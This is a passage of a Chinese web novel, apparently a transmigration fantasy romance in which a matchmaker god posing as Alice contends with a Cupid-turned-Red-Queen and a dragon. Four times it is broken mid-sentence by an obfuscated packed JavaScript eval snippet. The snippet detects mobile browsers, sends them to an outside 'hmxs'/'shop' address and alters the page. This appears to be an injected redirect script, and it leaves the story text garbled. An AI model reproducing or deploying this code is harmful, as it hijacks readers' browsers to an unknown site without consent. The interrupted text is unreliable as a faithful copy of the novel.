柯乐抄起四月兔,拍了拍牠的脑袋:“我们走。” 他头也不回地往门口冲,撞见正和铁皮士兵斗嘴的疯帽子,拉起他也往宫殿外逃去。 “爱丽丝小姐,你没事吧?”疯帽子边跑边上下打量他,“四月兔刚刚说小姐在干什么?” “没干什么。”柯乐拉着他们拐进走廊,借着浮夸的柱子遮挡,稍微喘了口气,低头一看,四月兔的毛已经全部炸开,他慌忙将红线撤去。 四月兔两个兔牙不住颤抖,突然撕心裂肺:“爱丽丝和红皇后睡睡睡睡了!” “什么?!”疯帽子的头发瞬间由橙黄转红。 “是安布洛……红皇后强迫我的。”柯乐迅速澄清,“没有叛变,我永远忠于红皇后……啊不,白皇后。” “红皇后强迫你的?!”疯帽子的眉毛也气成了深红色,“我要回去杀了她!” 柯乐:……怎么越描越黑了呢? 眼看这一人一兔根本听不进任何的话,柯乐只好“嘘”了一声,“你们现在动手其实并不是一个好时机,我们几个根本不可能干得过这么多的士兵,所以……” “所以得回去拿工具。”柴郡猫突然以气的形式出现,咧嘴像是能将他洞穿,“爱丽丝小姐,您有什么打算?” 老天奶,这只猫的隐身太强了,他究竟看了多少啊?要是牠看到他和安布洛斯在那张床上……的话,那岂不是真的跳进黄河都洗不清了? 他下意识将手挡在嘴边轻咳,“我要去先杀死巨龙,铲除这个隐患。” 疯帽子接话:“我和你去!” “啊不,你不能去,”柯乐正色,“一起过去太显眼了,很容易被发现。” 他看向柴郡猫,“我还得麻烦你帮我换个皮肤。” “上次的青蛙不能再用了。”柴郡猫说。 “我不是想变成那只丑陋的青蛙,”柯乐突然列开嘴,“我想变成你,柴郡猫。” * 红皇后的后花园里。 一只灰色布偶猫轻盈地跳上围栏,精准落在印象里巨龙的藏身地。 这柴郡猫竟觉得自己的绿色皮肤太帅不肯让他模仿,于是把他变成一只仙气飘飘的布偶猫? “这只猫更漂亮,”柴郡猫的嘴咧到一个不可思议的宽度,显得过分奸诈,“如果被巨龙抓住了,巨龙会觉得你太漂亮而不忍心杀死你的。” 柯乐抬“手”挠了挠耳朵,无奈地贴着墙根,警惕地扫视四周环境。 但是这条蓬松的大尾巴实在是太招摇啦! 两片看不清花色的扑克正提着灯巡逻,柯乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944579|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慌忙将自己塞进亭子内石椅的夹缝中。 “听说Queen在寝殿内发疯呢,铁皮士兵被她拖出去砍头了。” “不对,Queen现在不那么喜欢砍头了,这段时间真没砍过头,但是喜欢慢慢折磨……” 声音近后又远去,柯乐松了一口气,大尾巴终于从狭窄的缝隙里放出,甩了甩。 他正暗喜着,突然一朵粉红色的花被他的尾巴扫到,从藤蔓上飘飘然落下! 好巧不巧,花就落在他的背上,瞬间爽意带着一种难以言喻的麻意一波一波接踵而来,让他想扭动身体的心情达到顶峰。 他的尾巴疯狂扫动,他的脊背如波涛一样做了个wave,“啊秋——” 光线顿时转向,扑克士兵的脚步声变得凌乱:“什么东西闯进来了?” 柯乐顿时被光亮照了个透,猫的眼睛让他很快适应,端坐着。 他舔了舔爪子,忍住不适:“喵~” 他的演技真的好好啊,当人也好,当猫也行。 正当他沾沾自喜时,忽然尾巴尖一疼! 突然的四肢离地让他疯狂挣扎,扑克士兵将他提了上来,轻蔑道:“就是只肥猫啊,我以为是什么呢,这条尾巴可真大。” 他终于看清了这两副牌面。 哦,梅花三和梅花五,两张小牌。 他奋力一抓,尖利的爪子一出招,将两张牌冒头的红线直接勾断。 虐猫的东西这辈子都单着吧! 梅花三惊呼:“这只猫这么凶?” “梅花三,我怎么觉得有什么不大一样了?”梅花五将柯乐猫往一旁扔去,上下打量梅花三,“我应该是……” “梅花五,你睡觉打呼噜真吵,”梅花三往后退了一步,“别人说话你也总是喜欢插嘴,这坏毛病得改。” “我看你坏毛病更多呢,”梅花五指指点点,“每天你的牌面总是皱皱的,真邋遢,走在你身旁,要不是因为我喜欢……” 梅花五顿住,“好像没有感觉啊,那我平时惯着你干什么?看我的长枪!” 梅花三冷笑:“要打去外面打个够,别坏了Queen的后花园。” 柯乐看着两张小牌掐着架直到花园外,尾巴直直翘起,蓬松的毛抖了抖。 就在这时,一道不寻常的气息混入了清爽的空气中。 柯乐瞬间炸毛,“喵”的一声原地弹跳,瞬间调转方向,直直对上一条隐匿在超大金色玻璃珠内黑色的线。 巨龙的喷吸喷洒在他身上,金色竖瞳滚动,麻雀与飞机的差距让他钉在原地,只能看着巨龙再次朝他张开深渊巨口。 他本能伸出前爪,将头埋进爪子里企图躲避危险。 风吹动花和树,忽而他的鼻头一阵轻微的刺痛,想象中的一口闷没有到来。 他的爪子一点点挪开,一朵玫瑰猝不及防顶上他的鼻尖。 巨龙爪子下轻压着一朵细小的玫瑰,如同大象踩着蚂蚁。 玫瑰的尖刺被巨龙的爪抓着,对牠自然是不痛不痒。 柯乐不可置信地喵喵叫。 给我……的? 这巨龙怎么看起来还有点萌?这还怎么忍心下手杀死牠啊系统! 9. 【0%】 巨龙见柯乐不接,又用爪尖挑了玫瑰往他面前递。 柯乐颤颤巍巍地伸出爪子,将玫瑰往身旁扒拉。 【恭喜柯乐先生获得玫瑰X1,这玫瑰可是桑格利凡的玫瑰哦。】 就这一下的恍惚愣神,他的后脖颈突然一紧! 巨龙的翅膀“刷”的一声往双侧展开扇动,他被叼幼崽似的被巨龙叼在嘴里,瞬间腾空。 他被风逼出颤音:“喵~~~~” 眼睁睁看着亭子越来越小,柯乐却不敢挣扎,毕竟他这么小一只,如果巨龙不耐烦松嘴了,自己将会摔成猫饼。 但是这条龙飞的方向……怎么有点熟悉? “喵喵喵喵!” 他“啪”一下贴在红皇后寝殿的玻璃窗上。 玻璃窗上结了一层霜,看不清里面的情形,巨龙便抬爪,将相对柔软的肉垫贴上雾蒙蒙的窗户,忽而偏头,金色龙眼缓缓眨了眨。 牠是在征求我的意见?还是要我模仿? 前者作为巨龙,应该不大可能吧。 柯乐迟疑片刻,将猫爪有样学样,也贴上了窗户。 巨龙喷出一口热气,爪尖挑开他的猫爪,用力地在窗户上擦。 雾被擦去,里面的景光乍现。 这看起来怎么好像是不耐烦? 柯乐的毛炸开,忐忑地盯着巨龙,生怕牠转头就把他一口闷了。 尖利的龙爪在窗户上哐哐点了两下。 柯乐歪头看牠。 龙爪砰砰砸了两下窗。 一声熟悉的呻/吟自屋内颤颤悠悠透过窗传到柯乐耳朵里,然后在他脑子里转变为一串乱码。 巨龙扬了扬龙下巴,轻微的鼻息灼热,坚硬的鳞片刮过细腻的猫毛,蓬松纷飞。 柯乐像卡顿的旧机器,想看又不敢看。 巨龙嫌他太扭捏,一爪扒开窗户,叼着柯乐在半空用力甩荡。 柯乐脑浆都快被摇匀,正哼唧着,忽然一阵强烈的失重感袭来,他被甩了出去! 他只好张开四肢,将自己变成一张加飞猫,精准地落在了柔软的床垫上,下一刻他就被纳入一个滚烫的拥抱。 安安安布洛斯?他怎么又又又回到安布洛斯的床上了?! 室内温度因为安布洛斯的体温蹭蹭往上涨,难怪窗户会起雾。 他僵直着身体,迅速甩头顺毛,就这须臾,便对上了窗台上局促立着的龙头。 巨龙龇牙咧嘴,爪子在空中反复朝他做“推出去”的爪势。 这是刚刚递玫瑰时的动作? 柯乐将信将疑,“系统,从背包内取出玫瑰。” 一朵玫瑰出现在他的猫爪缝里。 他盯着玫瑰,愣愣地与巨龙对视。 巨龙再度扬了扬下巴,好似在鼓励他勇敢地去做。 他的爪子攥着玫瑰磨了磨,胸口突然一重,炙热滚烫的大手突然揽住了他软绵绵的肚子,觉得好玩似地揉了揉,同时发出低沉的悲鸣。 他犹豫都不带犹豫的,一个翻身将玫瑰递到安布洛斯眼前。 “给我的?”沙哑的声音让猫的耳朵折起,“小猫咪。” 【桑格利凡的蛋获得一瓶营养液的浇灌,长大了一些。】 又长大了? 风灌了进来,柯乐后背滚烫,肚子却面对冷风。 他哆嗦一番,安布洛斯就将手搭在他的肚子上,将蜷起的小猫揉开。 柯乐居然觉得有些舒服,眯着眼和巨龙对视上了。 牠的鼻孔一张一合,龙眼微微眯起,竖瞳扩张。 他头一次能感受到一只龙的满意。 安布洛斯的躁动随着时间的推移逐渐平息,在这个平缓过渡的过程中,柯乐觉得自己荒唐得有些可笑。 安布洛斯平时执弓的手此刻正在他柔软的肚皮上一搭一搭地轻拍。 他后知后觉自己是一只安抚玩偶。 但想这些都没什么意义了,他对于系统发布的任务再一次感到头疼。 窗外的风好像小了些,巨龙不知何时已经飞走,寝殿里温暖舒适,似乎还能听到壁炉里发出的火星爆裂声,成了天然的白噪音。 意识逐渐涣散时,系统的声音缥缈地出现在脑海里,他迷糊间听不大清。 【小可为您汇报今天的战绩。】 【……您目前攻略进度:0%】 就这样稀里糊涂地抹平负数了啊…… 柯乐是被犬吠吵醒的。 铁皮士兵牵着狗正朝着宫殿大门狂吠,柯乐不由往窗外望去。 就这样度过了不大真实的一夜,这个世界轻飘飘下了薄雪。 白色的雪霜自窗外飘进,借着光线,像灰尘一样落到安布洛斯的金发上。 这位西方神明正交叠着腿,坐在窗边一把红椅上,拨弄着皇冠上金灿灿的珠子。 察觉柯乐的目光,安布洛斯放弃手头的百无聊赖,掀起眼皮朝床的方向看来。 “看来你确实有几分拍限制片的资本。”他淡漠评说。 什么…… 柯乐怔愣片刻,顿时脸烧了个透,将自己埋进被褥里。 他在几乎不透光的空间里看到了自己光/裸的身体。 什么时候变回来的?安布洛斯是不是从一开始就知道猫是他变的?安布洛斯一直在逗弄他?! 但显然安布洛斯并不打算同他纠结这个问题,平静地陈述:“你的那些兔子和疯人都在我宫殿门口堵着,是要我把你扔出去,还是你自己出去?” 明明昨晚抱着他……还……今天就这样提上裤子不……额…… 也就抱着睡了一觉而已,并且是他有错在先。 他咬了咬牙,在被子里闷闷道:“衣服,我自己出去,不劳烦。” 安布洛斯没有回复他,等了片刻,皮鞋踩地的踏踏声在屋内响起,一套衣服被甩到被褥上,好巧不巧就甩在他脸的位置。 安布洛斯他一定是故意的! 柯乐握紧拳头,裹着被子起身,背对着安布洛斯:“转过去。” 西方神明冷哼一声,偏过头:“干瘪。” 柯乐顿了顿,脑海中自动浮现那些世界名画,西方的神明放/荡的躯体,丰润饱满,该有的地方都有。 他低下头,发现他和他们比起来确实差了不少。 他不吭声,换上安布洛斯为他准备的……旗袍?! 柯乐不可置信地将手中攥着的衣服翻来覆去,眉头挑起。 一条主体白色的旗袍,衣领和排扣处是翠绿色,在小腿以上开了叉。 旗袍旁还搭配了一件保暖的绒毛披肩。 这怎的看起来有些熟悉? “安布洛斯,你是不是喜欢看我们东方的电视剧,譬如最近火起来的《清规》。”柯乐抿了抿唇,“这旗袍还是夫人最喜欢的……” “不穿光着出去。”安布洛斯打断他。 “我穿。”柯乐没有骨气地回答,“我的意思是没想到阿尔卑斯山网速还可以。” 柯乐不敢看安布洛斯,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944580|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢偷偷去瞄他的脸色揣测自己穿得好不好看,直到穿着旗袍被护送着出了宫殿大门,瞬间引来疯帽子和四月兔震惊的目光。 “爱丽丝丝丝……你怎么穿成这样?”疯帽子上下打量,一时甚至忘记自己来此处的目的,“这是什么新奇的服饰?” “现在这个时代还没有的,”柯乐将旗袍轻微的褶皱捋平,含糊回答,“以后会有的。” “好看。”四月兔道。 东方文化被赞赏,柯乐的文化自信又高了几分,说话也显得有了底气,好似他从这个门大摇大摆走出去是非常合理的一件事,“回白皇后的城堡去。” * “所以红皇后把你留在红心宫殿款待,还给你专门留了一间房?”疯帽子将茶杯重重往桌子上一放,“她想做什么?” “应该是想拉拢爱丽丝。”叮当哥哥说。 “应该是喜欢爱丽丝。”叮当弟弟说。 此话一出,满座沉寂。 半宿,四月兔打了个喷嚏,疯帽子才干巴巴道:“红皇后怎么可能喜欢爱丽丝呢?” 柯乐从背包内拿出龙蛋,放在圆桌中央:“你们认识这颗蛋吗?” “不认识。”叮当哥哥说。 “能吃吗?”叮当弟弟说。 “这是巨龙的蛋,”爱丽丝敲了敲蛋壳,发出噗噗声,“你们平时有孵蛋吗?” “需要给它放在温暖的环境下,要不放在壁炉边待上几天。”四月兔说。 好像也对,毕竟桑格利凡是喷火的,温暖干燥的环境应该更利于它的成长。 柯乐将蛋放在壁炉边,“你们有营养液的吗?” “营养液?没有听过,”疯帽子说,“是什么东西的口水吗?” 柯乐:…… “我知道了,”四月兔突然蹦下椅子,“我有办法。” 柯乐抱起蛋跟着四月兔来到白皇后的后花园。 一只有大象那样大的白毛鸡蹲在硕大的草窝里,咯咯地盯着入侵者。 四月兔抬起鸡翅膀,鸡就咯咯乱叫,起身时露出里面比普通鸡蛋大上十倍的蛋。 “这不就匹配上了吗?”四月兔帮忙将龙蛋以假乱真放入…… 完全没有以假乱真。 这龙蛋无论从颜色、从硬度,还是从大小来看,都和那些鸡蛋格格不入。 但白毛鸡还是全盘接受组织的安排,抖了抖腿,窝了下去。 刚一接触到鸡蛋,柯乐的脑子嗡的一声! 系统的面板都亮起了红光,将他的视野染红。 【警告,警告!桑格利凡的幼崽非常生气,请尽快将桑格利凡的蛋放回背包。】 柯乐:“快快快拿出来!” 柯乐狼狈地回到了圆桌旁。 他给自己倒了杯茶,“你们确定我们要杀的龙,是一只有着黑色的,但实际上反着绿色光的龙吗?” 四月兔一只耳朵竖起,似乎在回想,“是的。” “我觉得桑格利凡真的不像那种会杀光村落的龙。”柯乐怎么都无法把那只把他当做安抚玩偶的龙和屠戮众生的龙联系在一起,“你们会不会搞错了?” “爱丽丝小姐,你刚刚说那条龙叫什么?”柴郡猫浮在空中,转了一圈。 “桑格利凡。” “那就弄错啦!”柴郡猫说,“牛皮纸上记载,那条龙的名字叫,沙布里……” 柴郡猫话还没说完,树精灵的一声惊呼惊动了正圆桌会议的众人。 红心宫殿着火了。 10. 【10%】(加更) 白皇后宫殿里,许多人攀着窗沿往远处眺望。 “你们看,红皇后的宫殿,那是不是着火了?” “红皇后作恶多端,仇人也多,被烧不是很正常?” 树精灵的尖叫让整座城堡的精灵都趴在窗边往远处眺望,七嘴八舌。 柯乐奔到窗户,扒这窗往远处望,果然看到河对岸,红心宫殿被熏得有些模糊,有黑烟滚滚冒出。 外面还下着鹅毛细雪,怎会突然起火光? 难道是桑格利凡失控了? “我们得去支援,”柯乐一拍窗沿,“这么烧下去,安布洛斯会死的!” “安布洛斯是谁?”疯帽子看起来对着火这间事情并不上心,反而觉得有些兴奋,发色竟变成了火红的颜色,“是红皇后的名字?她作恶多端,烧死了估计也是诅咒了。” 柯乐却一点都没有喜悦的感觉,反而瑟瑟发抖。 完了完了,待会西方丘比特在这个世界死亡,到时候阿尔卑斯山怪罪下来,到时候东西方的矛盾可就深了。 柯乐狂奔而下,直接拉了一匹正悠哉吃草的白马。 他岔开腿要跨上马,却发现被旗袍限制了活动空间,直接半蹲将旗袍的开叉撕到大腿,跨上马匹,“我们的主要目的是杀死那只坏巨龙,红皇后会帮助我们的,相信我。” 他一夹马肚子,马甩尾朝红心宫殿奔去。 “哎——爱丽丝——”疯帽子抓了抓乱糟糟的头发,在原地焦躁地踱步片刻,也一跃上马,“牛皮纸上说爱丽丝能带我们消灭巨龙,相信她一回,我们走!” * 柯乐抓紧缰绳,停在红心宫殿入口。 红心宫殿本就是以红色为主基调,如今因为火势,整座宫殿红得让人心慌。 火是从后花园的方向开始蔓延的,隐约可以听到厮杀的悲鸣从宫殿内传出。 门口的卫兵也无暇把守,他拉紧僵绳,马儿长驱直入。 多次进入红心城堡,他已经对这里的路了记于心,随手薅了一块跑路的方块K,问道:“跑什么?” 方块K被他的红线勾着脚,跑出几米被拉了回来,带着浓重的哭腔:“里里里里里面那只囚禁的魔物它逃出来了。” “桑格利凡?” “那只宠物小龙是它的孙子,孙子啊!”方块K抖动着筷子腿,“大人,放我走吧,我们这种牌面被火一烧真的纯完……” 灰黑的纸片被热风吹了过来,他猛然抓住,揉了揉,纸片便如同筛糠一般簌簌落下。 方块K终于“哇”的一声哭出来:“我的好兄弟啊——不知道为什么Queen突然就镇不住它了——” 柯乐隐隐觉得问题的答案可能和他脱不开关系,或许就是那晚给安布洛斯食用了违/禁物。 他将红线收回,拍了拍白马的鬃毛,沿着灰烬飘来的方向放缓了脚步。 直到到了后花园,头顶的光线暗淡几分,震惊之余才明白目前的局势。 难怪这一路上都没怎么看到各个种类的士兵,要么变成柴火,要么变成烤蛙,和火脱不开关系。 他稍稍抬头,才发现那头真正的恶龙正落在熟悉的亭子上,爪子抓着檐,双翅半垂着,这才是真正的遮天蔽日。 安布洛斯倚在石像旁,撑着权杖,微微喘气。 他艳丽的脸上挂了彩,红袍上有灰黑的烧焦痕迹,连带着金黄色的卷曲长发,发尾枯焦。 他长吁一声。 还好,安布洛斯没死,不至于导致东西方神明干架。 这丘比特说有什么特别的能力,还真没有,也就射射箭,战斗力远远不及东西方的武神…… “哎安布洛斯——”他突然想到一个点子,喊了安布洛斯一声,不出意外地引起他的注意,“你把这条龙和一块石头射一块,或者把牠和一只青蛙射在一块——” 离他最近的一只青蛙士兵凸着眼睛,五官飞起,抬头一看,正对上意气风发的旗袍少年,当即拔腿就跑。 “爱丽丝,是爱丽丝,她又来了!” 这蛙都不怕巨龙把牠烧成烤蛙,怎么见到他比见到阎王爷还害怕? “亲爱的,不要害怕,我陪你的呢。”一旁冲出一块铁片,一把用长叉扯住蛙腿,“我们要一起面对,不能让Queen寒心呀。” 这个画面让柯乐第一时间思考,这难道不会有生殖隔离吗? 柯乐摸不着头脑,突然神经元突触相接,这个诡异的画面让他愣了愣。 这不就是一开始他在城门口胡乱牵的红线吗? 当时把一只青蛙和一个铁皮士兵绑在一块,忘记撤了! 就当他要收回线时,恶龙忽而盘旋而上,将刺眼阳光放进了后花园。 柯乐就这一瞬间的愣神,恶龙俯冲而下,峻风忽而裹挟着热浪扑面而来。 就在他即将被掀翻时,一只带着粉色爱心的箭矢破空而来,正中龙的眼下鳞片! 就在这一瞬间点醒了柯乐,他一拉缰绳,将惊吓过度的马匹往一旁冲去,堪堪躲开时脖颈一疼。 他抬手一摸,就蹭上一掌的血。 他一届月老,何曾流过这么多的血,颤抖着对上安布洛斯沉沉的眸。 “还不下来?”安布洛斯启唇。 柯乐头脑发懵,在这种生死关头,安布洛斯立在他身边,看起来沉稳可靠。 他呆呆地往下一扑,安布洛斯眉头一蹙,揽过他:“天庭有病的真多。” 这熟悉的骂声让柯乐的头脑瞬间清明,嘴角一抽。 但这时可不是斗嘴的好时机,他看了落在铁门边的恶龙,偏头问道:“合作?” 还未等到安布洛斯出言讽刺,恶龙的翅膀扑扇两下,鳞片下有红色波纹流动。 一口灼热的龙息喷出,将面前的扑克统统烧成灰,一时间空气中充斥着烧后的黑灰,呛人得很。 安布洛斯将权杖立起:“扑克士兵往最后面站,青蛙中间,铁皮最前面,以后有重赏!” 然后瞥了柯乐一眼:“你是多余的,走远点。” 多余的?他? 柯乐指着自己:“我和你的岗位只能有什么区别……” 吼—— 恶龙大吼一声,他本能地朝亭子甩出红线,想故技重施绊倒巨龙,却在橙红色的火焰面前显得极其脆弱。 热浪带着草木的灰烬扑面而来,熏得他睁不开眼。 快要融化了。 他这样想,疯帽子的大喊让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16944581|192981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的思绪瞬间回笼:“爱丽丝!快跑!” “Shit!” 耳边一句简单明了的情绪表达词后,在火焰快扑上他脸上时,有人迅速拉了他一把。 他一个踉跄,对上安布洛斯紧皱的眉头,“谢谢啊。” “射箭——” 疯帽子一声令下,自围栏外千箭齐发,针雨般朝恶龙落下,巨龙疯狂地甩动翅膀,掀起风的同时将箭矢自鳞片缝内抖落。 “我们上。”叮当弟弟一声呐喊,铁蹄的踢踏声雨点般清晰,浑身腱子肉的半人马持长刀拥进了后花园! 叮当哥哥长刀一指:“冲上去。” 柯乐拍了拍安布洛斯的肩膀,“安布洛斯,你的箭准备好,看我的。” 树精灵的树藤绑上了恶龙的翅膀,安布洛斯瞟了他一眼,在他身旁抡圆了手臂,将弓绷紧,柯乐嘴角一勾。 “系统,取出至高无上的帽子,给龙戴上!” 【亲爱的柯乐先生,您好久没有叫我了,很荣幸为您效劳。】 【这就为您取出至高无上的帽子。】 一顶超大的红色遮阳高帽从天而降,稳稳当当将龙头直接包了进去,画面突然就变得滑稽可笑。 恶龙被遮挡了视线,竟也酝酿不出烈火,树精灵灵活地跳跃,将藤蔓在牠身上缠绕,树精灵两两一对视,和叮当兄弟一块左右一拉。 恶龙的翅膀和脚蹼都被捆住,被这一拉扯,翅膀直接反扣在龙背,粗壮龙腿“咚”的一声跪地。 “Yeah!”四月兔率先欢呼。 柯乐忍不住啪啪鼓掌,突然手腕一凉。 “嗯?”他偏头,看到安布洛斯用口型对他说“好吵”,刚想回嘴,突然觉得有些不对劲。 安布洛斯的额头冒出细密的汗,本就白皙的脸此时显得苍白,红润的嘴唇也褪了眼色。 “安布洛斯,你怎么了?”柯乐慌忙扶他,“你别死啊,我不想被天庭扣工资!” “蠢。”安布洛斯顺着他的动作半靠着他,虚弱地抬眸来看,薄唇轻启,“你只是不知道,已经倒扣多少了。” 安布洛斯说完扇动浅棕色的纤长睫毛,失去支撑点似的,软绵绵地倒下,他慌忙搂紧他的腰,却蹭到一手温热的液体。 “什么啊……”他翻过手掌,顿时愣住。 安布洛斯的血液沿着他的掌心滑落,沿着他的小臂浸入袖口。 他骂了一声,一只手撑着安布洛斯,另一只手腾出翻安布洛斯的腰侧衣服,果然在腰封处裂了一道长口子,这一看就是那龙的爪子撕裂的。 他看着毫无知觉的美神,“喂安布洛斯,别别别别赖上我啊!” 【柯乐先生,恭喜你解锁新支线任务[为红皇后熬一碗药汤],请您好好照顾红皇后,获取红皇后的好感度。】 疯帽子扯紧绳子,踩上恶龙的利爪,对四月兔挠挠头,“红皇后和爱丽丝怎么这么奇怪?” 四月兔陷入沉思:“预言说爱丽丝能带领我们打败红皇后的巨龙,现在确实……打败了,哎不管了,这大块头不知道怎么杀。” “白皇后宫殿的人们,”柯乐朝正押着头套恶龙的疯帽子等人招手,“我先带他走了,麻烦你们收个尾哈!” 11. 【15%】 “欧天哪,Queen伤得好重。” “Queen其实并不单单是受伤,昨天还是前天来着还发热,这可怎么办啊爱丽丝小姐!” 铁皮士兵往柯乐身旁凑了凑,被疯帽子用高帽挡开:“走远点,你们这群作恶多端的家伙。” “我们现在几乎都是不抢不杀,”铁皮士兵抹了一把不存在的泪水,“自从我们的Queen从皇位上打瞌睡摔下来,砸到了垫脚的腊肠狗……” 他压低声音,往大床上瞅了一眼,确保红皇后没有苏醒的征兆,“头也变小了,也好像变得有品味了些,而且还不让我们杀人,我们真的是‘品德优良’的仙境公民,所以请救救我们的皇后。” 四月兔显然不信,右耳高高竖起,“三天前,我们的半人马族群副首领来到红心城堡境内,然后就消失不见,是不是你们杀的?” “半人马族群的副首领?”铁皮士兵思忖片刻,“哦,我知道了,前几日Queen发布了招聘令,他是前来应聘的。” “什么?”四月兔蹦跶起来,“怎么可能?” 铁皮士兵往外跑:“稍等,我去拿,过会药师会过来,我相信你们,麻烦看着点皇后。” 柯乐看向大床。 安布洛斯摘了皇冠,从侧面看,鼻梁高挺,金发披散开来,脸色苍白如纸。 虽然知道作为神明,是没有“死亡”这一说的,但安布洛斯这副模样,柯乐还是动了恻隐之心。 药师是隶属于青蛙卫兵,过来扒拉两下安布洛斯的眼皮,“欧,Queen的眼睛好深邃。” 柯乐:“……您看出什么毛病了?” “烧伤和被尖利的物品刺伤,”药师顿了顿,“现在处于昏迷状态。” 柯乐:“……这好像看也看得出来。” “其实简单的,”药师说,“我去拿点药,但是会很苦,不知道Queen会不会吐出来。” 难道还要像电视剧里那样嘴对嘴喂药? 柯乐挑了挑眉,一个哆嗦,“我有办法,没事。” 药师很快将药拿来。 “系统,取出罗勒,碾碎给我。” 柯乐的手上多了一把绿色的干罗勒碎,他直接撒进药粉里。 药师只是一只矮青蛙,被柯乐的背影挡得严严实实,伸长了脖子,“爱丽丝小姐,您在做什么?” “我在让药变得好吃。”柯乐笃定地说。 “可不能加糖呀!”药师颤颤巍巍,听到柯乐说没有,稍稍放下心,拿出小勺,“爱丽丝小姐,请。” 柯乐将药粉怼到安布洛斯嘴边,将勺子沿着安布洛斯的唇角按压到唇峰,然而床上的神明却怎么都不肯为他张开一条缝隙。 【柯乐先生,请换一种方式完成支线任务。】 “他怎么不吃?”柯乐问,“应该很好吃才对,毕竟系统说,拥有香香的罗勒,我就是最强的厨师。” 药师安静片刻,忽而“呱”的一声,“我们可以参考之前占卜师连接出的‘另一个时空’的药方。” 柯乐:“如何做?” 药师张了张大嘴,刚要说话,铁皮士兵拿了一张牛皮纸回来了。 柯乐接过,发现上面还真的是写着“招聘”两个大字。 -招聘- -安全巡逻管理员一名、食品安全管控员一名、裁缝一名- -工资待遇:六险二金、保底工资五千金币、按时上下班、入职起每年有十天年假且逐年增加两天年假- 柯乐将牛皮纸折起,心下五味杂陈。 这也难怪半人马会跳槽,这待遇换做他他也跳啊! 他看向躺着的神明,一个想法初具雏形—— 既然他是绑定系统穿成的爱丽丝,那安布洛斯会不会也绑定了一个系统穿成了红皇后? 那安布洛斯的主任务会是什么? “爱丽丝小姐?” 柯乐被药师垫脚拉了拉衣襟,低头看牠,“麻烦再说一遍。” “我说,我们可以借鉴一下其他时空的偏方,”药师也是裂开嘴笑,“有记载说,救人的办法可以是亲吻。” 柯乐虎躯一震。 “有一个公主吃了毒苹果昏迷了,结果王子吻了她,公主很快就醒过来了,”青蛙药师朝他飞吻,“KissKiss。” 这个桥段……白雪公主?? 柯乐忍不住吐槽:“这串频了啊!” “串频是什么意思?”药师蛙嘴一斜,“我没有欺骗你爱丽丝小姐,森林里有一间小屋,里面住着我们的占卜师,他会算出不同时空的事情呢。” 这占卜师看来就是解答问题的关键,看来有必要去会一会了。 柯乐往床边踏了一步,疯帽子忙拉住他,“白皇后和红皇后是仇敌,你真的要这样做吗?” “嗯?”柯乐给床上的人掖被子,“盖被子都不行吗……” 就在这一瞬间,地上的药师突然膝盖一弯,噗的一声一跃而上跳到他头顶,冲击力让他一个踉跄,头往床上的人磕去。 药师按着他的头,“为了我们伟大的Queen,不行也得行了!” 冰凉的唇瓣干燥却柔软,他和床上的神明一同发出一声闷哼,重力让他下意识伸出一截舌头。 他本打算闭眼,但下一刻,安布洛斯睫毛轻颤,张开双眼时,他仿佛跌入一片蓝色的海。 【恭喜你柯乐先生,任务[为红皇后熬一碗药汤]完成。】 【欧亲爱的先生,您的药汤真的很灵呢~系统额外给您加快攻略进度。】 【给您凑个整,目前攻略进度:15%】 药汤难道是……????? 他的腰被安布洛斯抬手握住,贴身的旗袍让他甚至以为自己没有穿衣服,他感受到一股推力,抬腰想赶紧撤离。 “你们看吧,占卜师获取的方子真的有用!”药师揪了揪柯乐的头发,然后重新摁地更深一些,“再停留一会,Queen就能痊愈啦!” 在鼻尖相抵时,柯乐的脸瞬间涨红,梗着脖子,他甚至可以感受到自己的血液横冲直撞,颈侧脉搏跳动一下一下的,像要冲破束缚。 安布洛斯收紧握住柯乐肩膀的手,将他连同那只走歪路的青蛙药师往一旁掀开。 “咚”的一声,柯乐的头撞上了床头。 安布洛斯一顿,下意识倾身,下一刻看到疯帽子过去扶他,转头低声骂了一句:“活该。” “要是你也有进度条,我现在一定是负的几百了,”柯乐揉揉脑袋,“可恨的丘比特。” 安布洛斯的脸色还是不佳,冷冷瞟了他一眼,招了铁皮士兵问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 